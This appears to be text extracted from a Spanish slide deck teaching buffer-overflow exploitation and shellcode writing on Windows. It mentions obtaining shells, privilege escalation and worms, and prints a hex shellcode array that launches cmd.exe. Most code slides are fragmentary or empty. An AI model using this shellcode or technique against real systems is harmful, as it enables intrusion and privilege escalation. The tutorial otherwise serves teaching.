Académique Documents
Professionnel Documents
Culture Documents
y ShellCodes en Windows
Un pequeño vistazo a como explotar
buffer overflows y divertirnos (o morir) en
el intento…
Antes de empezar…
• Herramientas:
– Ollydebug
– TASM5 (Turbo Assembler 5)
– Devcpp o VC++
– FindJmp
– Editor (el que tu quieras)
¿Qué es un Buffer Overflow?
• Bug de programación.
– Ocasionado por copiar datos a un area de
memoria que no es lo suficientemente grande
para contenerlos.
Buffer A Buffer B
Buffer Overflow
'd' 'e' 'm' 'a' 's' 'i' 'a' 'd' 'o' 0
Buffer A Buffer B
Código vulnerable
#include <stdio.h>
#include <stdlib.h>
return 0;
}
Práctica
• Nada.
• Manipular el flujo del programa
– Ejecutar el código que se nos de la gana.
– Obtener una shell y acceder al sistema.
– Elevación de privilegios.
– Crear gusanos que se reproduzcan masivamente.
– Lo que se le ocurra a nuestra imaginación.
ShellCodes
¿Qué es una shellcode?
• Programa normalmente hecho en asm de
características muy pequeñas.
• Al ser pequeño es inyectado a la pila y
ejecutado.
Tipos de Shellcodes.
• Locales. (Escalación de privilegios)
• Externas.
– Reverse ShellCode
– Bind ShellCode
Programaremos una Shellcode Local
char shellcode[] =
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x
63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\
xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D
\x45\xF8\x6A\x01\x50\xBB\x4D\x11\x86\x7C\xFF\xD3";
Práctica - Programando el exploit.
Ejecutando!
• Happy Hacking !!!
FIN – Dudas, comentarios etc. ?
Muchas gracias!!!!